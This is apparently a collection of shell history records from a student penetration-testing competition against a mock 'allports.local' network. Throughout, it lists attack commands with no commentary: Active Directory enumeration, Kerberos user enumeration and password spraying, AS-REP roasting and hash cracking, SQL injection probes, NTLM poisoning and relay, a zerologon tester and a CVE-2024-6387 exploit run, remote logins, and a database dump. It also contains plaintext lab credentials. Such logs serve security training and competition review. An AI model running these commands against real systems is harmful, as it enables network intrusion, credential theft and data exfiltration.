_raw:
curl http://10.0.1.30
curl http://10.0.1.99
curl http://10.0.1.254
dig . @10.0.1.30
dig . @10.0.1.254
sudo nmap -sV 10.0.1.30
sudo nmap -sV 10.0.1.99
sudo nmap -sV 10.0.1.254
sudo nmap -p- -sV 10.0.1.254
sudo nmap -sV -sC 10.0.1.99
sudo nmap -p- -sV 10.0.1.30
dig proxy-cptc11-apps-room-console-cmiller-infra-readiness @10.0.1.6
dig proxy-cptc11-apps-room-console-cmiller-infra-readiness.prod.allport.local @10.0.1.6
sudo vi /etc/hosts
dig 1.rooms.allports.tours @10.0.1.6
sudo vi /etc/hosts
cat /etc/hosts
enum4linux -a -u "" -p "" 10.0.1.6
enum4linux -a -u "guest" -p "" 10.0.1.6
enum4linux-ng
enum4linux-ng 10.0.1.6
smbmap -L \\10.0.1.20 -N
smbmap -L \\10.0.1.20 -I 10.0.1.20 -N
smbmap -L \\10.0.1.20 -H 10.0.1.20 -N
smbclient -L '\\10.0.1.20' -H 10.0.1.20 -N
smbclient -L '\\10.0.1.20'  -N
smbclient -L '\\10.0.1.21'  -N
smbclient -L '\\10.0.1.21' -u "guest" -N
smbclient -L '\\10.0.1.21' -U "guest" -N
rpcclient -U '' -N 10.0.1.20
rpcclient -U '' -N 10.0.1.21
ldapsearch -LLL -x -H ldap://prod.allport.local -b'' -s base '(objectclass=\*)'
sudo vi /etc/hosts
ldapsearch -LLL -x -H ldap://prod.allports.local -b'' -s base '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://prod.allports.local -b '' -s base '(objectclass=\*)'
kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x ./kerbrute_linux_amd64
./kerbrute_linux_amd64
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /usr/share/wordlists/metasploit/namelist.txt
smbclient -L '\\10.0.1.21\public'  -N
smbclient -L '\\10.0.1.6\public'  -N
smbclient -L '\\10.0.1.21\public'  -N
smbclient -L '\\10.0.1.6\public'  -N
smbclient -L '\\10.0.1.6'  -N
sudo vi /etc/hosts
smbclient -L '\\apt-dc-01.allports.local'  -N
smbclient -L '\\apt-dc-01'  -N
sudo vi /etc/hosts
smbclient -L '\\apt-dc-01'  -N
smbclient -L '\\apt-dc-01' -U "" -N
smbclient -L '\\apt-dc-01' -N
sudo vi /etc/hosts
smbclient -L '\\apt-dc-01.allports.local'  -N
smbclient -L '\\apt-dc-01.allports.local'  -U "" -N
smbclient -L '\\apt-dc-01.allports.local'  -U "guest" -N
sudo vi /etc/hosts
smbclient -L '\\Deckhand-01.allports.local'  -U "guest" -N
smbclient -L '\\Deckhand-01.allports.local'  -U "" -N
smbclient -h
smbclient -L '\\Deckhand-01.allports.local'  -U "" -W "APT" -N
smbclient -L '\\Deckhand-01.allports.local'  -U "guest" -W "APT" -N
smbclient -L '\\Deckhand-01.allports.local'  -U "guest" -W "Administrator" -N
smbclient -L '\\Deckhand-01.allports.local'  -U "guest" -W "allports.local" -N
ldapsearch -LLL -x -H ldap://prod.allports.local -b 'DC=allports,DC=local' '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'DC=allports,DC=local' '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local:3269 -b 'DC=allports,DC=local' '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local:3268 -b 'DC=allports,DC=local' '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'DC=allports,DC=local' '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'DC=allports,DC=local' -s subtree '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'CN=Configuration,DC=allports,DC=local' -s subtree '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'CN=Schema,CN=Configuration,DC=allports,DC=local' -s subtree '(objectclass=\*)'
ldapsearch -LLL -x -H ldap://allports.local -b 'CN=Schema,CN=Configuration,DC=allports,DC=local'
ldapsearch -LLL -x -H ldap://allports.local -b 'DC=allports,DC=local'
ldapsearch -LLL -x -H ldap://allports.local -b 'DC=allports,DC=local'  "" ""
ldapsearch -LLL -x -H ldap://allports.local -b 'CN=Schema,CN=Configuration,DC=allports,DC=local'
ldapsearch -LLL -x -H ldap://allports.local -b 'CN=Schema,CN=Configuration,DC=allports,DC=local' *
netexec ldap apt-dc-01.allports.local  -u '' -p '' --query "(objectClass=*)" ""
netexec ldap apt-dc-01.allports.local  -u '' -p '' --query "(sAMAccountName=*)" ""
nmap -n -sV --script "ldap* and not brute" 10.0.1.6
netexec ldap apt-dc-01.allports.local:3268  -u '' -p '' --query "(sAMAccountName=*)" ""
netexec ldap apt-dc-01.allports.local:3269  -u '' -p '' --query "(sAMAccountName=*)" ""
impacket-GetUserSPNs -h
impacket-GetNPUsers -h
impacket-lookupsid -h
sudo apt install seclists
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /usr/share/seclists/Usernames/Names
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /usr/share/seclists/Usernames/Names/names.txt
vi /tmp/test.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /tmp/test.txt
ls
vi usernames.txt
impacket-GetNPUsers -h
impacket-GetNPUsers "allports.local/" -userfiles usernames.txt
impacket-GetNPUsers "allports.local/" -usersfiles usernames.txt
impacket-GetNPUsers -usersfiles usernames.txt
impacket-GetNPUsers "allports.local/" -usersfile usernames.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local passwordspray usernames.txt /usr/share/seclists/Passwords/corporate_passwords.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local passwordspray usernames.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local passwordspray usernames.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-dup.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local passwordspray usernames.txt /usr/share/wordlists/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local passwordspray usernames.txt /usr/share/wordlists/rockyou.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local bruteuser /usr/share/wordlists/rockyou.txt greed
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /tmp/test.txt
smbclient -L '\\Deckhand-01.allports.local'  -U "cmiller" -W "allports.local" -N
smbclient -L '\\Deckhand-01.allports.local'  -U "cmiller" -N
less /usr/share/seclists/Usernames/cirt-default-usernames.txt
wc -l /usr/share/seclists/Usernames/cirt-default-usernames.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /usr/share/seclists/Usernames/cirt-default-usernames.txt
vi usernames.txt
impacket-GetNPUsers "allports.local/" -usersfile usernames.txt
vi /tmp/test.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /tmp/test.txt
vi /tmp/test.txt
mysql -h 10.0.1.99 -u root
mysql -h 10.0.1.99 -u root --skip-ssl-verify-server-cert\
\
mysql -h 10.0.1.99 -u cmiller --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -u cmille --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -u root --skip-ssl-verify-server-cert\
\
vi /tmp/test.txt
./kerbrute_linux_amd64 --dc 10.0.1.6 -d allports.local userenum /tmp/test.txt
dig axfr @10.0.1.6
dig axfr allports.local @10.0.1.6
sudo nmap -pN -sV 10.0.1.1-9
sudo nmap -Pn -PS -sV 10.0.1.1-9
sudo nmap -Pn -PS -sV 10.0.1.2-9
rpcdump
impacket-samrdump 10.0.1.20
impacket-samrdump 10.0.1.6
impacket-samrdump 10.0.1.21
rpcclient -U '' -N 10.0.1.21
rpcclient -U '' -N 10.0.1.20
enum4linux-ng 10.0.1.20
enum4linux-ng 10.0.1.21
vi /tmp/test.txt
crackmapexec
cmx
crackmapexec -h
crackmapexec smb 10.0.1.20 -u anonymous -p '' --rid-brute
crackmapexec smb 10.0.1.21 -u anonymous -p '' --rid-brute
crackmapexec smb 10.0.1.20 -u anonymous -p '' --users
crackmapexec smb 10.0.1.20 -u anonymous -p '' --sessions
crackmapexec smb 10.0.1.6 -u anonymous -p '' --sessions
crackmapexec smb 10.0.1.6 -u anonymous -p '' --users
vi usernames.txt
impacket-GetNPUsers "allports.local/" -usersfile usernames.txt
crackmapexec ldap 10.0.1.6 -u rdavis -p rosdav50
crackmapexec ldap 10.0.1.6 -u rdavis -p rosdav50  --help
nxc
nxc ldap
nxc ldap -u rdavis -p rosdav50 10.0.1.6
nxc ldap -u rdavis -p rosdav50 apt-dc-01.allports.local
nxc smb -u rdavis -p rosdav50 apt-dc-01.allports.local
enum4linux-ng -h 10.0.1.21
enum4linux-ng -u rdavis -p rosdav50 10.0.1.6
enum4linux-ng -u rdavis -p rosdav50 10.0.1.6 | tee enum
ls
less enum
enum4linux-ng -u rdavis -p rosdav50 10.0.1.6 --help
nxc smb -u rdavis -p rosdav50 apt-dc-01.allports.local --hel
bloodhound-python -h
bloodhound-python -u rdavis -p rosdav50 -d allports.local -dc apt-dc-01.allports.local
cat /etc/hosts
bloodhound-python -u rdavis -p rosdav50 -d allports.local -dc 10.0.1.6 --zip
ls
bloodhound-python -u rdavis -p rosdav50 -d allports.local -dc 10.0.1.6 -ns 10.0.1.6 --zip
bloodhound-python -u rdavis -p rosdav50 -d allports.local -dc apt-dc-01.allports.local -ns 10.0.1.6 --zip
sudo bloodhound-setup
sudo vi /etc/bhapi/bhapi.json
sudo bloodhound
sudo vi /etc/bhapi/bhapi.json
sudo vi docker pdocker


_raw: : 1762024495:0;sudo apt install kerbrute


_raw:
: 1762024490:0;# anonymous/null bind to RootDSE\
ldapsearch -x -h 10.0.1.6 -p 389 -s base -b "" "(objectClass=*)" + defaultNamingContext namingContexts supportedLDAPVersion\


_raw:
: 1762024468:0;# anonymous/null bind to RootDSE\
ldapsearch -x 10.0.1.6 -p 389 -s base -b "" "(objectClass=*)" + defaultNamingContext namingContexts supportedLDAPVersion\


_raw: : 1762024464:0;sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute


_raw: : 1762024462:0;crackmapexec smb 10.0.1.6 -u users.lol  -p '12345' --continue-on-success


_raw: : 1762024454:0;crackmapexec smb 10.0.1.6 -u users.lol  -p 'password' --continue-on-success


_raw: : 1762024448:0;crackmapexec smb 10.0.1.6 -u users.lol  -p 'password123' --continue-on-success


_raw: : 1762024442:0;chmod +x kerbrute_linux_amd64


_raw: : 1762024434:0;chmod _x kerbrute_linux_amd64


_raw: : 1762024415:0;crackmapexec smb 10.0.1.6 -u users.lol  -p 'Password123' --continue-on-success


_raw: : 1762024401:0;crackmapexec smb 10.0.1.6 -u users.lol  -p 'Password123'


_raw:
: 1762024394:0;# anonymous/null bind to RootDSE\
ldapsearch -x -h 10.0.1.6 -p 389 -s base -b "" "(objectClass=*)" + defaultNamingContext namingContexts supportedLDAPVersion\


_raw: : 1762024365:0;crackmapexec smb 10.0.1.6 -u users.lol


_raw:
nmap -sV -vv -OA nmapscan 10.0.1.0/24
nmap -sV -vv -oA -O  nmapscan 10.0.1.0/24
nmap -sV -vv -O -oA nmapscan 10.0.1.0/24
ls
nmap -sV -O -oA nmapscan 10.0.1.0/24
ls
nmap -oA nmapscan1 10.0.1.0/24
ls
touch scan.txt
nano scan.txt


_raw: : 1762024192:0;GetNPUsers.py allports.local/ -no-pass -usersfile users.lol -format hashcat


_raw: : 1762024185:0;GetNPUsers.py allports.local -no-pass -usersfile users.lol -format hashcat


_raw: : 1762024150:0;GetNPUsers.py 10.0.1.6 -no-pass -usersfile users.lol -format hashcat


_raw: : 1762024144:0;sudo git clone https://github.com/ropnop/kerbrute.git


_raw: : 1762024134:0;nxc smb 10.0.1.6 -u 'Administrator' -p '1gyroscope'


_raw: : 1762024128:0;GetNPUsers.py allports.local/ -no-pass -usersfile users.lol -format hashcat


_raw: : 1762024115:0;GetNPUsers.py allports.local/ -no-pass -userfile users.lol -format hashcat


_raw: : 1762024098:0;GetNPUsers.py allports.local/ -no-pass -userfile


_raw:
skipfish -o 202 http://10.0.1.11/forgot-password
skipfish -o 202 http://10.0.1.11
skipfish -o 202 http://10.0.1.11/
skipfish -o 202 http://10.0.1.11:8000/forgot-password
nikto -h http://10.0.1.11/forgot-password -p 8000
nikto -h http://10.0.1.11/forgot-password


_raw: : 1762024063:0;cat users.txt | awk '{print $7}' | sed 's/\@allports.local//g' > users.lol


_raw: : 1762024058:0;cat users.txt | awk '{print $7}' | sed 's/\@allports.local//g'


_raw: : 1762024050:0;cat users.txt | awk '{print $4}' | sed 's/\@allports.local//g'


_raw: : 1762024005:0;git clone https://github.com/ropnop/windapsearch


_raw:
sudo vim etc/hosts
cd .
ls
cd /
ls
cd etc
vim hosts
sqlmap -h
sudo sqlmap -u bb-b143.rooms.allports.tours
sudo sqlmap -u http://bb-b143.rooms.allports.tours
sudo sqlmap -u http://bb-b143.rooms.allports.tours --crawl=2
sudo sqlmap -u http://bb-b143.rooms.allports.tours -dbs
sudo sqlmap -u http://bb-b143.rooms.allports.tours -dbs --crawl=2
sudo sqlmap -u http://bb-b143.rooms.allports.tours/food.html -dbs --crawl=2
sudo sqlmap -u http://bb-b143.rooms.allports.tours/food.html -tables
sudo sqlmap -u http://bb-b143.rooms.allports.tours/ -tables --crawl=2
sudo nmap -sC -sV 10.0.1.21
sudo nmap -sC -sV 10.0.1.15
sudo vim hosts


_raw: : 1762023881:0;evil-winrm -i 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope'


_raw: : 1762023864:0;responder -I eth0 --lm --disable-ess


_raw: : 1762023833:0;impacket-ntlmrelayx -tf targets.txt -smb2support -socks


_raw:
: 1762023786:0;curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
"table": "all_ports_tours_december2025_voyage_schedules"\
}'


_raw: : 1762023770:0;chmod +x get_wordlists.sh


_raw: : 1762023769:0;strings booking_service.exe -e b


_raw: : 1762023757:0;gobuster dir --url http://10.0.1.11:80/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 4831


_raw: : 1762023756:0;strings booking_service.exe --help


_raw: : 1762023749:0;gobuster dir --url http://10.0.1.11:80/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 255


_raw: : 1762023678:0;echo 'VIhI3GKL11R69SuLoU2mX/B+sP0QIwmzEvRtdozvByk=' |base64 -d


_raw: : 1762023654:0;rm -rf linWinPwn_allports.local


_raw:
git clone https://github.com/SecuraBV/CVE-2020-1472.git
ls
cd CVE-2020-1472
ls
python3 zerologon_tester.py
python3 zerologon_tester.py APT-DC-01 10.0.1.6
pip install -r requirements.txt
pipx install -r requirements.txt
python3 zerologon_tester.py DECKHAND-01 10.0.1.20


_raw:
cd /usr/share/wordlists
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cat rockyou.txt
cd ~
ls
git clone https://github.com/SecuraBV/Timeroast.git
ls
cd Timeroast
ls
cd extra-scripts
ls
python3 timecrack.py ./../../hash.txt
python3 timecrack.py ./../../hash.txt /usr/share/wordlists/rockyou.txt
python3 timecrack.py ./../../hash.txt /usr/share/wordlists/john.lst
ls
cd /usr/share/wordlists
ls


_raw:
bloodyAD -d allports.local -u 'Guest' -p '-o' --host APT-DC-01.allports.local --dc-ip 10.0.1.6 --dns 10.0.1.6 add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.254.202
bloodyAD -d allports.local -u 'Guest' -p '' --host APT-DC-01.allports.local --dc-ip 10.0.1.6 --dns 10.0.1.6 add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.254.202
bloodyAD -d allports.local -u '' -p '' --host APT-DC-01.allports.local --dc-ip 10.0.1.6 --dns 10.0.1.6 add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.254.202
cd DC
ls
bloodyAD -d allports.local -u '' -p '' --host APT-DC-01.allports.local --dc-ip 10.0.1.6 --dns 10.0.1.6 add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.254.202


_raw:
ls
cd ..
cat realpassword.txt
xfce4-screenshooter
rm -rf /var/lib/dpkg/lock-frontend
xfce4-screenshooter
sudo su
xfce4-screenshooter
sudo su
xfce4-screenshooter
settings


_raw:
cd ~/DC
ls
cd linWinPwn_allports.local
ls
cd Vulnerabilities
ls
cd ..
ls
cd ..
ls
cd ..
touch hash.txt
vim hash.txt


_raw:
hashcat
hashcat -h
hashcat -h |grep 31300
hashcat -h | grep 31300
hashcat
hashcat -h | grep 31300
hashcat -h
kill -9 960094
hashcat -h | grep 31300
sudo su


_raw:
cd DC
ls
linWinPwn -t 10.0.1.6 -o ./
ls
cd linWinPwn_allports.local
ls
cd DomainRecon
ls
cd ..
ls
cd Shares
ls
vim REDACTED_EMAIL
vim REDACTED_EMAIL
crackmapexec
ls
crackmapexec
crackmapexec smb
crackmapexec smb -h


_raw: : 1762023556:0;git clone https://github.com/fortra/impacket


_raw: : 1762023535:0;git clone github.com/fortra/impacket


_raw: 2025/11/01 14:58:03 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:58:02 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:58:01 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:58:00 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:57:53 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:57:51 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:57:50 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:57:47 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: 2025/11/01 14:57:46 >  [+] VALID USERNAME:	 REDACTED_EMAIL\


_raw: : 1762023465:0;./kerbrute_linux_amd64 userenum  --dc 10.0.1.6 -d allports.local usernames.txt


_raw: : 1762023421:0;./kerbrute_linux_amd64 userenum  --dc 10.0.1.6 -d allports.local /usr/share/wordlists/amass


_raw:
nmap -A 10.0.1.21
crackmapexec smb 10.0.1.6
crackmapexec smb 10.0.1.21
crackmapexec smb 10.0.1.20
crackmapexec smb 10.0.1.20 -u '' -p '' --users
crackmapexec smb 10.0.1.21 -u '' -p '' --users
crackmapexec smb 10.0.1.6 -u '' -p '' --users
crackmapexec ntlm 10.0.1.6 -u '' -p '' --users
nxc smb 10.0.1.6
nxc smb 10.0.1.21
cat /etc/hosts
nxc smb 10.0.1.6
crackmapexec smb 10.0.1.6 -u '' -p '' --users
ldapsearch -LLL -x -H ldap://APT-DC-01 -b "DC=allports,DC=local" -s sub "(objectClass=*)*
ldapsearch -LLL -x -H ldap://APT-DC-01 -b "DC=allports,DC=local" -s sub "(objectClass=*)"
ldapsearch -LLL -x -H ldap://APT-DC-01.allports.local -b "DC=allports,DC=local" -s sub "(objectClass=*)"
ldapsearch -x -H ldap://APT-DC-01.allports.local -b "DC=allports,DC=local" -s sub "(objectClass=*)"
sudo apt install docker.io && sudo apt install docker-compose


_raw: : 1762023409:0;xfreerdp3 /u:svc_stabilize /p:1gyroscope /v:10.0.1.20


_raw: : 1762023331:0;chmod +x kerbrute_linux_amd64


_raw: : 1762023292:0;apt install freerdp3-dev -y


_raw: : 1762023277:0;./hashcat.bin -m 31300 ../hash ../crackstation.txt


_raw: : 1762023205:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'password'


_raw: : 1762023187:0;whatweb -u http://admin.rooms.allports.tours -h


_raw: : 1762023184:0;whatweb -u http://admin.rooms.allports.tours h


_raw: : 1762023177:0;whatweb -u http://admin.rooms.allports.tours


_raw: : 1762023148:0;apt install crackmapexec -y


_raw: : 1762023129:0;apt remove crackmapexec -y


_raw: : 1762023125:0;strings booking_service.exe | grep -i


_raw: : 1762023102:0;nmap -sV admin.rooms.allports.tours -p 80


_raw: : 1762023078:0;./hashcat.bin -m 31300 ../hash ../crackstation-human-only.txt


_raw: : 1762023062:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" objectClass=*


_raw: : 1762023028:0;mv /home/pentester/Downloads/crackstation-human-only.txt.gz .


_raw: : 1762023007:0;mv /home/pentester/Downloads/crackstation.txt.gz .


_raw: : 1762022955:0;gobuster dir --url http://10.0.1.11:7700/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 255


_raw: : 1762022951:0;ldapsearch -D '' -w '' -H ldap://allports.local -b "dc=allports,dc=local"


_raw: : 1762022942:0;ldapsearch -D '' -H ldap://allports.local -b "dc=allports,dc=local"


_raw: : 1762022921:0;ldapsearch -H ldap://allports.local -b "dc=allports,dc=local"


_raw:
: 1762022919:0;curl -X 'GET' \\
  'http://tabular_search:8045/tables' \\
  -H 'accept: application/json'


_raw: : 1762022914:0;mysql -h 10.0.1.15 -u boatgps -p'anchor2024' --skip-ssl -D gps_tracker -N -e "SHOW TABLES;"\


_raw: : 1762022900:0;mysql -h 10.0.1.15 -u boatgps -p'anchor2024' -D gps_tracker -N -e "SHOW TABLES;"\


_raw: : 1762022896:0;ldapsearch -x -H ldap://allports.local -b "dc=allports,dc=local"


_raw: : 1762022880:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support


_raw: : 1762022870:0;ldapsearch -x -H ldap://apt-dc-01.allports.local -b "dc=allports,dc=local"


_raw: : 1762022860:0;ldapsearch -x -H ldap://apt-dc-01.allports.local -b "cn=users,dc=allports,dc=local"


_raw: : 1762022853:0;impacket-ntlmrelayx.py -t smb://10.0.1.20 -smb2support


_raw: : 1762022849:0;git clone https://github.com/CoreSecurity/impacket.git


_raw: : 1762022830:0;ldapsearch -x -H ldap://allports.local  -b "dc=allports,dc=local" objectClass=user sAMAccountName


_raw: : 1762022821:0;ldapsearch -x -H ldap://allports.local  -b "dc=allports,dc=local" objectClass=user


_raw: : 1762022812:0;mysqldump -h 10.0.1.15 -u boatgps -p'' gps_tracker --skip-ssl > gps_tracker.sql\


_raw: : 1762022789:0;mysqldump -h 10.0.1.15 -u boatgps -p'' gps_tracker > gps_tracker.sql\


_raw: : 1762022789:0;pip install ldap3 dnspython ldapdomaindump


_raw: : 1762022758:0;strings booking_service.exe | grep -i office


_raw: : 1762022740:0;ldapsearch -x -H ldap://allports.local  -b "dc=allports,dc=local" objectClass=*


_raw: : 1762022727:0;ldapsearch -x -H ldap://apt-dc-01.allports.local -b "cn=users,dc=allports,dc=local"


_raw: : 1762022723:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'Administrator'


_raw: : 1762022717:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'password'


_raw: : 1762022717:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" objectClass=*


_raw: : 1762022712:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'Password'


_raw: : 1762022711:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" (objectClass=*)


_raw: : 1762022683:0;ldapsearch -x -H ldap://apt-dc-01.allports.local -b "dc=allports,dc=local"


_raw: : 1762022603:0;curl -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99/api/admin/emergencies?authorized=true" | jq '.[0] | keys'\


_raw: : 1762022594:0;curl -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99/api/emergency/fire" | jq .\


_raw: : 1762022581:0;curl -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99/api/admin/emergencies?authorized=true" | jq .\


_raw: : 1762022573:0;ldapsearch -x -H ldap://10.0.1.6:389 -D "cn=dcarter,dc=allports,dc=local" -b "ou=users,dc=allports,dc=local" "(uid=dcarter)"


_raw: : 1762022571:0;curl -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99/api/emergencies" | jq .\


_raw: : 1762022557:0;curl -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99/api/emergencies" | jq .\


_raw: : 1762022549:0;ldapsearch -x -H ldap://10.0.1.6:389 -D "cn=bfinn,dc=allports,dc=local" -b "ou=users,dc=allports,dc=local" "(uid=dcarter)"


_raw: : 1762022535:0;ldapsearch -x -H ldap://10.0.1.6:389 -D "cn=bfinn,dc=allports,dc=local" -b "ou=users,dc=allports,dc=local" "(uid=bfinn)"


_raw: : 1762022507:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=apt-dc-01,dc=allports,dc=local" "(objectClass=user)"


_raw: : 1762022470:0;sudo apt install ghidra -y


_raw:
: 1762022464:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1' \\
  -H 'Accept: application/json'


_raw: : 1762022442:0;gobuster dns --domain rooms.allports.tours -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt


_raw:
: 1762022438:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1 or SELECT * FROM * ;--' \\
  -H 'Accept: application/json'


_raw:
: 1762022428:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1" or SELECT * FROM * ;--' \\
  -H 'Accept: application/json'


_raw: : 1762022422:0;git clone https://github.com/nationalcptc-teamtools/Coastline-College/tree/main/dano


_raw: : 1762022415:0;gobuster dns -d rooms.allports.tours -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt


_raw:
: 1762022364:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1abcd' \\
  -H 'Accept: application/json'


_raw:
: 1762022341:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1 abc' \\
  -H 'Accept: application/json'\
\
'\
\
\
\
\
\
'


_raw:
: 1762022322:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1 '' \\
  -H 'Accept: application/json'\
\
'


_raw: : 1762022296:0;git clone https://github.com/nationalcptc-teamtools/Coastline-College/tree/main/dano


_raw: : 1762022218:0;nxc ldap 10.0.1.6 -u 'jellyfinn' -p 'jellyfin' -M pre2k


_raw:
: 1762022190:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=;--' \\
  -H 'Accept: application/json'


_raw:
: 1762022174:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=$' \\
  -H 'Accept: application/json'


_raw:
: 1762022137:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=55' \\
  -H 'Accept: application/json'


_raw: : 1762022135:0;ping -c 1 abc.rooms.allports.tours\


_raw:
: 1762022128:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=\x55' \\
  -H 'Accept: application/json'


_raw:
: 1762022119:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id="a"' \\
  -H 'Accept: application/json'


_raw:
: 1762022108:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=a' \\
  -H 'Accept: application/json'


_raw:
ls
cd Desktop
ls
cd cve
ls
cd CVE-2024-6387
ls
python3 CVE-2024-6387.py exploit -T 10.0.1.10 -p 22 -n eth0
ping 10.0.1.10


_raw:
: 1762022099:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1.0' \\
  -H 'Accept: application/json'


_raw: : 1762022089:0;sudo apt install ./mongodb-mongosh_2.5.9_amd64.deb


_raw: : 1762022068:0;apt install ./mongodb-mongosh_2.5.9_amd64.deb


_raw:
nmap -sV -sC 10.0.1.6
mysql -h 10.0.1.15 -u boatgps -p -ssl-verify-server-cert=off
mysql -h 10.0.1.15 -u boatgps -p --ssl-verify-server-cert=off


_raw:
: 1762022008:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=1' \\
  -H 'Accept: application/json'


_raw:
: 1762022000:0;curl 'http://10.0.1.15:8080/api/load_routes.php?action=load&id=' \\
  -H 'Accept: application/json'


_raw:
: 1762021937:0;curl 'http://10.0.1.15:8081/api/load_routes.php?action=load&id=' \\
  -H 'Accept: application/json'


_raw:
: 1762021923:0;curl 'http://10.0.1.15:8081/api/load_routes.php?action=load&id=200' \\
  -H 'Accept: application/json'


_raw:
: 1762021913:0;curl 'http://10.0.1.15:8081/api/load_routes.php?action=load&id=1' \\
  -H 'Accept: application/json'


_raw: : 1762021901:0;gobuster dir --url http://10.0.1.14:443/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 255


_raw: : 1762021874:0;gobuster dir --url http://10.0.1.14:443/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 169


_raw: : 1762021873:0;ldapsearch -H ldap://10.0.1.6 -D "@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762021862:0;gobuster dir --url http://10.0.1.14:443/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762021858:0;impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh bruh.allports.local -l poison


